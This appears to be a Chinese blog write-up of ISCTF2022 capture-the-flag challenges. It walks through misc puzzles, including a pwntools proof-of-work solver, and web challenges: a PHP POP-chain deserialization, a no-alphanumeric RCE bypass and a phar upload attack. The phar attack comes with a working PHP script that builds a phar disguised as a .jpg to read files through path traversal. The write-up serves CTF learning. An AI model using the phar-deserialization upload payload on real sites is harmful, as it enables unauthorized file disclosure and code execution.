ISCTF2022改名叫套CTF吧(bushi),博主菜鸡一个,套题太多,挑一些题写下wp,勿喷。

MISC

可爱的emoji

  下载下来是个加密压缩包,根据hint掩码爆破密码

得到密码:KEYISAES

解压得到表情包文本,一眼emoji-aes,进https://aghorler.github.io/emoji-aes/,根据压缩包密码KEY IS AES猜出emoji密码是AES

Advanced改到9,解密得到flag

两层编码

  一开始写脚本爆破过了第一关,后来的5秒交key属实把我雷到了,根据hint学习了下pwntools,直接亮脚本吧(不懂pwntools的去学习下)

import hashlib
import random
import string
import base64
import re
import time
from pwn import *
def decode1(key, hashsha):
for i in range(100000000000000):
str_list = random.sample(string.digits+string.ascii_letters, 4)
random_str = ''.join(str_list)
print(random_str)
if hashlib.sha256((random_str+key).encode('utf-8')).hexdigest() == hashsha:
print(random_str)
return random_str
def decode2(code):
key = base64.b64decode(code)
return key.decode('utf-8')
def search(code):
pattern = '.*?key{(.*?)}.*?'
key = 'key{'+re.findall(pattern, code, re.S)[0]+'}'
return key
if __name__ == '__main__':
conn = remote('ip', port)
info1 = conn.recv(numb=2048)
print(info1)
time.sleep(3)
first = decode1(info1[16:32].decode('utf-8'), info1[37:101].decode('utf-8'))
conn.sendline(first.encode('utf-8'))
info2 = conn.recv(numb=4096)
info22 = conn.recv(numb=4096)
code1 = info2[42::1]
code2 = info22[:-21]
print(info2[42::1])
print(info2)
print(info22)
b64 = decode2(code2)
two = search(b64)
conn.sendline(two.encode('utf-8'))
info3 = conn.recv(numb=2048)
print(info3)
改一下ip和port,直接跑就能得到flag

手残党福利
这题很有意思,一开始第一关都跳不过(我手残),下载下来是个iwanna,打开通过第一关,发现生成了一个save1文件,百度一下发现是存档文件,这就有意思了,直接原样cv save1,得到save2,save3,发现还有个temp文件,把temp文件的值改成3

注意最好放在010(winhex)里改,继续改save3

改画圈的位置,这里是存档的地方,具体原因请自行百度,改到47的样子就到了最后一关,打开游戏得到flag

酱紫乱

  mumuzi的题,确实有套那味了,下载下来是一个文件夹,打开看是一堆txt文件,每个txt文件是一个字符,想到根据文件名顺序读取文件得到数据

拿到数据发现是base64,解密一下,得到杂乱的字符

发现字符大都都有重复项,猜测是字频统计,写个脚本跑一下,

得到flag

捕风的魔女

  属于是纯粹的二次元题了,下载下来,得到两张图片flag1,flag2,这里不做演示了,直接说了,flag1是魔女之旅的文字,百度一下就能搜到文字对照表。flag2是原神提瓦特文字(我去,有原_),同样百度

Docker网络测试

  下载得到流量包,放wireshark里分析,过滤出tcp包,看了一下没发现有隐藏文件和flag的东西,发现有UDP包,过滤一下,看UDP流

在这发现flag,竖着读取一下就行了

老色批了奥

  下载下来是张setu.png,老规矩先放010里看一下,啥也没有,接下来binwalk,发现藏了个zip,直接foremost setu.png,得到zip,里面居然是个假flag,fakeflag{DoneMaXX_XueLaiXX},出题人二次元浓度很高,

继续捣鼓setu.png,zsteg没看出问题来,直接丢stegsolve里

发现问题了,这是个压缩包,但每个字节都是反过来的,Save Bin下来,写个脚本给它恢复一下

把2.txt导入010,得到一个压缩包,解压下来得到flag

#########其余的misc就不写了

web

   web也挑点写wp吧(主要是太多了懒得写)

猫和老鼠

  

一个经典的反序列化,主要是要绕过dog,先说下反序列化过程,利用mouse里的toString的include来文件包含,构造下pop链,cat::destruct ----> mouse::toString

toString的触发条件是对象当作字符串来使用,当遇到echo,print_r,die之类的就是了,现在有个问题是dog会把$a给覆盖掉,导致无法成功包含,这要利用php的引用符号&

解密得到flag

rce

  很明显无字母数字正则表达式绕过,直接用脚本

具体的异或脚本可以百度,俺用的yu师傅的脚本(呜呜,我的yu师傅)

upload

  一个文件上传的题,把www.zip下载下来分析源码,在class.php里发现这个

这是个利用点,其它代码就是大概的上传实现,校验的,没啥看点,看到这里很明显,这是个phar文件反序列化利用,phar文件会被当做php文件来解析,而且跟后缀没有关系,所以生成的phar文件直接改成.jpg后缀就能绕过上传检测,这里我本地环境有问题,生成不了phar文件,所以找的另一个师傅帮忙生成的,具体的phar文件构造可以去看y4爷的php反序列化总结,这里记得指定filename='php://filter/read=convert.base64-encode/resource=../../../../../../flag'

<?php
class upload{
    public $filename="../../../../flag";
}
$o = new upload();
@unlink("shell.phar");
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传phar协议解析,得到flag

ISCTF2022WP的更多相关文章

随机推荐

  1. Postfix别名邮件与SASL验证

    Postfix别名邮件与SASL验证 环境简介 系统: CentOS 8.3.2011 软件包: postfix-2:3.3.1-12.el8.x86_64 cyrus-sasl-2.1.27-5.e ...

  2. 【java】学习路径28-Java集合类知识点总结+练习题(去重)

    Java集合 1.集合和数组的区别 (1)  集合可以改变长度 (2)  数组长度不可变 2.ArrayList (1)  add addAll (2)  remove removeAll (3)   ...

  3. Docker实用篇

    Docker实用篇 0.学习目标 1.初识Docker 1.1.什么是Docker 微服务虽然具备各种各样的优势,但服务的拆分通用给部署带来了很大的麻烦. 分布式系统中,依赖的组件非常多,不同组件之间 ...

  4. 命令行配置Windows高级防火墙

    今天正好看到个帖子,询问如何通过命令行配置防火墙策略中远程IP的地址,特别是添加新的地址. 就是图中Scope里Remote IP address的地址. 第一反应就是用netsh firewall来 ...

  5. 《Java基础——方法的调用》

    Java基础--方法的调用     总结: 1. 在同一个类中-- 对于静态方法,其它的静态和非静态方法都可以直接通过"方法名"或者"类名.方法名"调用它. 对 ...

  6. uniapp|微信小程序获取当前城市名称--逆地址解析

    六年代码两茫茫,不思量,自难忘 6年资深前端主管一枚,只分享技术干货,项目实战经验 关注博主不迷路~ 问题 uniapp开发的小程序需要获取当前城市名称 解决步骤 看文档 当然是看uniapp文档,我 ...

  7. 基于 Apache Hudi 极致查询优化的探索实践

    摘要:本文主要介绍 Presto 如何更好的利用 Hudi 的数据布局.索引信息来加速点查性能. 本文分享自华为云社区<华为云基于 Apache Hudi 极致查询优化的探索实践!>,作者 ...

  8. 玖章算术受邀参加红杉Talk「创新的复利」科技专场,共同探讨云计算的前世今生

    9月2日,本周五14:00 「创新的复利」 Sequoia Talk系列论坛,首期直播盛大启动.在第一期科技专场,4位红杉中国资深投资人.8位创新创业者将带我们深入工业软件.机器人.云计算等领域,围绕 ...

  9. 关于aws账单数据中几个重要的与费用相关的字段的意义分析

    今天在看aws账号的详细信息时,看到字段很多,大多数字段,根据名称可以知道代表的意义 对于如下几个字段的概念有点模糊(位于"UsageStartDate","UsageE ...

  10. ARC148游记

    A - mod M 题目链接 这道题我们可以首先对于所有的数 $%2$ ,可以证明出答案最多不超过 $2$ ,此时我们就可以把问题转化为:是否存在一个数使得序列 $a$ 中所有元素减去这个数之后的最大 ...